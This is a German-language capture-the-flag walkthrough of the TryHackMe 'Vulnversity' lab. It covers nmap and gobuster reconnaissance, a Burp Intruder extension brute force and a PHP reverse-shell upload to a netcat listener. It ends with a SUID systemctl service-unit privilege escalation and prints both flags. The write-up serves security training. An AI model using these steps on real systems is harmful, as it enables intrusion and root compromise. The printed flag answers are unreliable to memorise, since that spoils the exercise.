Heute geht es an dem Vulnversity Raum. Er ist Teil des Complete Beginner Paths und in dessen letztem Kapitel „Basic Computer Exploitation“ verortet. Bald haben wir den Complete Beginner Path abgeschlossen!

Task 1 Deploy the machine

Frage 1:
Deploy the machine

Antwort 1:
Keine Antwort benötigt.

Task 2 Reconnaissance

In Task 2 kehren wir zu nmap zurück. Hier erhalten wir die Anweisung, die Machine per nmap zu scannen:

nmap -sV DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 18:18 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.060s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds

Frage 1:
There are many nmap „cheatsheets“ online that you can use too.

Antwort 1:
Keine Antwort benötigt.

Frage 2:
Scan the box, how many ports are open?

Wir sehen oben, dass 6 Ports geöffnet sind.

Antwort 2:
6

Frage 3:
What version of the squid proxy is running on the machine?

Auf Port 3128 läuft Squid mit 3.5.12

Antwort 3:
3.5.12

Frage 4:
How many ports will nmap scan if the flag -p-400 was used?

Mit der -p Flag definiert man die Anzahl der X häufigsten Ports. In diesem Fall 400.

Antwort 4:
400

Frage 5:
Using the nmap flag -n what will it not resolve?

Hierzu werfen wir einen Blick in das nmap Benutzerhandbuch und suchen nach der -n FLag. DNS wird nicht resolved.

Antwort 5:
DNS

Frage 6:
What is the most likely operating system this machine is running?

Da wir in unserem Scan gesehen haben, dass Apache läuft, wird es sich wahrscheinlich um ein Linux System handeln. Mit der -O Flag können wir aber genaueres herausfinden. Die -O FLag benötigt aber root Privilegien, sudo nicht vergessen:

└─$ sudo nmap -O DIE_IP_DEINER_MACHINE                   
[sudo] password for user: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 18:30 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE 
Host is up (0.062s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3128/tcp open  squid-http
3333/tcp open  dec-notes
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/4%OT=21%CT=1%CU=32737%PV=Y%DS=2%DC=I%G=Y%TM=62C315B7
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(
OS:R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

Unsere Vermutung hat sich bestätigt, leider ist das Ergebnis nicht sehr lohnenswert. Nach etwas Recherche liegt hier wohl auch ein Fehler bei TryHackMe und es handelt sich um einen Ubuntu Server.

Antwort 6:
Ubuntu

Frage 7:
What port is the web server running on?

In unserem ersten Scan haben wir gesehen, dass auf dem Port 3333 der http Server läuft.

Antwort 7:
3333

Frage 8:
Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)

Antwort 8:
Keine Antwort benötigt.

Task 3 Locating directories using GoBuster

In Task 3 geht es auch gleich weiter mit einem alten Bekannten: GoBuster
Lasst uns herausfinden welche Verzeichnisse auf dem Machine vorhanden sind!

Dazu müssen wir eine Wordlist wählen, diese sind auf Kali schon vorinstalliert.

└─$ gobuster dir -t 64 -u http://DIE_IP_DEINER_MACHINE:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://DIE_IP_DEINER_MACHINE:3333
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/07/04 18:51:15 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 320] [--> http://DIE_IP_DEINER_MACHINE:3333/images/]
/css                  (Status: 301) [Size: 317] [--> http://DIE_IP_DEINER_MACHINE:3333/css/]   
/js                   (Status: 301) [Size: 316] [--> http://DIE_IP_DEINER_MACHINE:3333/js/]    
/fonts                (Status: 301) [Size: 319] [--> http://DIE_IP_DEINER_MACHINE:3333/fonts/] 
/internal             (Status: 301) [Size: 322] [--> http://DIE_IP_DEINER_MACHINE:3333/internal/]
/server-status        (Status: 403) [Size: 302]                                         
                                                                                        
===============================================================
2022/07/04 18:55:08 Finished

Frage 1:
What is the directory that has an upload form page?

Wir versuchen einefach alle Verzeichnisse im Browser durch.
http://DIE_IP_DEINER_MACHINE:3333/VERZEICHNIS/

Antwort 1:
/internal/

Task 4 Compromise the webserver

Da wir nun ein Formular zum Hochladen von Dateien gefunden haben, können wir dieses nutzen, um unsere Payloads hochzuladen und auszuführen, die zur Kompromittierung des Webservers führt. Auch hier treffen wir auf ein bekanntes Programm: BurpSuite

Frage 1:
Try upload a few file types to the server, what common extension seems to be blocked?

Hier habe ich einfach geraten. Es sollte nirgends erlaubt sein php-Dateien hochzuladen, da man sonst sehr leicht shell Zugriff bekommen kann.

Antwort 1:
.php

Jetzt wird es etwas unübersichtlich im Task, also Schritt für Schritt:
Wir starten zuerst BurpSuite.
Dann gehen wir auf http://DIE_IP_DEINER_MACHINE:3333/internal/
Jetzt Schalten wir „Intercept On“ in BurpSuite an und aktivieren den Proxy, sodass der Traffic über BurpSuite geht und abgefangen wird.
Jetzt laden wir eine beliebige Datei bei /internals hoch und fangen so die Anfrage ab.

Mit Rechtsklick in das Feld öffnen wir das Popup Menü und wählen „Send to Intruder“

Im Intruder Reiter klicken wir zuerst auf „Clear §“ (1.) und dann fügen wir jeweils ein § vor und nach der Dateiendung unserer Datei ein (2.).

Nun wechseln wir auf den Reiter „Payloads“ (1.) und Laden eine Textdatei mit Dateiendungen (2.). Unter Kali Linux wählen wir die Datei /usr/share/wordlists/wfuzz/general/extensions_commons.txt
Danach unchecken wir den Haken bei Payload Encoding (3.) und abschließend klicken wir auf „Start attack“ (4.).

Jetzt brute-forced BurpSuite alle Dateiendungen aus unserer Texdatei und zeigt uns das Ergebnis:

Unter Length wird uns bei der Endung .phtml ein anderes Ergebnis angezeigt. Daraus können wir schließen, dass wir .phtml Dateien hochladen können.

Jetzt, da wir wissen, welche Dateiendung wir für unsere Payload verwenden können, können wir fortfahren.
Wir werden wieder die PHP-Reverse-Shell von Pentestmonkey als Payload verwenden, diese hat sich ja bereits bewährt.

Führen wir nun die folgenden Schritte aus, um Fernzugriff auf die Machine zu erhalten:

– Zuerst bearbeiten wir die Datei php-reverse-shell.php und ändern die IP-Adresse zu der unseres Rechners (die IP erhalten wir, indem wir http://10.10.10.10 im Browser aufrufen),

– wir benennen die Datei in php-reverse-shell.phtml um,

– nun öffnen wir einen netcat listener mit nc -lvnp 1234

– wir laden unsere Datei hoch und führen sie mit http://DIE_IP_DEINER_MACHINE:3333/internal/uploads/php-reverse-shell.phtml aus.

Jetzt haben wir Shell-Zugriff:

└─$ nc -nvlp 1234       
listening on [any] 1234 ...
connect to [10.8.1.75] from (UNKNOWN) [10.10.29.98] 55526
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 14:33:11 up 1 min,  0 users,  load average: 2.00, 0.81, 0.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

Frage 2:
What is the name of the user who manages the webserver?

In unserer Shell wechseln wir in das /home Verzeichnis, dort sehen wir alle Benutzer-Verzeichnisse:

$ cd home
$ ls
bill
$ 

Antwort 2:
bill

Frage 3:
What is the user flag?

Hier tauchen wir weiter in Bills Verzeichnis ein:

$ cd bill
$ ls
user.txt
$ cat user.txt
8bd7992fbe8a6ad22a63361004cfcedb
$

Antwort 3:
8bd7992fbe8a6ad22a63361004cfcedb

Task 5 Privilege Escalation

Hier erhöhen wir unsere Privilegien und werden zum Superuser (root).

Frage 1:
On the system, search for all SUID files. What file stands out?

Wir benutzen den Befehl aus dem Hint:

$ find / -user root -perm -4000 -exec ls -ldb {} \;
--snip--
find: '/var/spool/rsyslog': Permission denied
-rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40152 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root 659856 Feb 13  2019 /bin/systemctl
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
find: '/tmp/systemd-private-bfb9a42424fc408e92d5cd92ebb2fb3f-systemd-timesyncd.service-VZgFfD': Permission denied
find: '/sys/fs/fuse/connections/39': Permission denied
find: '/sys/kernel/debug': Permission denied
-rwsr-xr-x 1 root root 35600 Mar  6  2017 /sbin/mount.cifs
find: '/root': Permission denied
$ 

Systemctl ist ein Kontrollwerkzeug für den Dienstmanager systemd. Systemd wiederum ist ein Systemmanager und verwaltet Komponenten während des gesamten Zyklus des Systems, vor und nach dem Booten. Systemctl hat normalerweise keine SUID privilegien.



Antwort 1:
/bin/systemctl

Frage 2:
Its challenge time! We have guided you through this far, are you able to exploit this system further to escalate your privileges and get the final answer?
Become root and get the last flag (/root/root.txt)

Wir greifen wieder zu unserem „Schweizer Taschenmesser“ GTFOBins und suchen uns den passenden Exploit.

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF

Diesen Code müssen wir etwas ändern, sodass wir den Inhalt der Flag in eine Datei schreiben, die wir auch öffnen können. Folgende Befehle geben wir nacheinander in der Shell ein:

$ TF=$(mktemp).service
$ echo '[Service]
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/flag"      
> [Install]
> WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF 
Created symlink from /etc/systemd/system/tmp.MPvfV53cSJ.service to /tmp/tmp.MPvfV53cSJ.service.
$ /bin/systemctl enable --now $TF 
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.MPvfV53cSJ.service to /tmp/tmp.MPvfV53cSJ.service.

Lassen wir uns nun den Inhalt von /tmp anzeigen:

$ ls -l /tmp
total 12
-rw-r--r-- 1 root     root       33 Jul  4 15:30 flag
drwx------ 3 root     root     4096 Jul  4 14:31 systemd-private-bfb9a42424fc408e92d5cd92ebb2fb3f-systemd-timesyncd.service-VZgFfD
-rw------- 1 www-data www-data    0 Jul  4 15:19 tmp.2kmtAMnUQK
-rw------- 1 www-data www-data    0 Jul  4 15:27 tmp.7gIl0es6QB
-rw------- 1 www-data www-data    0 Jul  4 15:27 tmp.MPvfV53cSJ
-rw-rw-rw- 1 www-data www-data  101 Jul  4 15:29 tmp.MPvfV53cSJ.service
$ 

Wir haben eine flag-Datei! Hoffentlich stimmt der Inhalt:

$ cat /tmp/flag
a58ff8579f0a9270368d33a9966c7fd5
$

Bingo!

Antwort 2:
a58ff8579f0a9270368d33a9966c7fd5

Das war die letzte Aufgabe in Vulnversity. Bis zum nächsten Raum!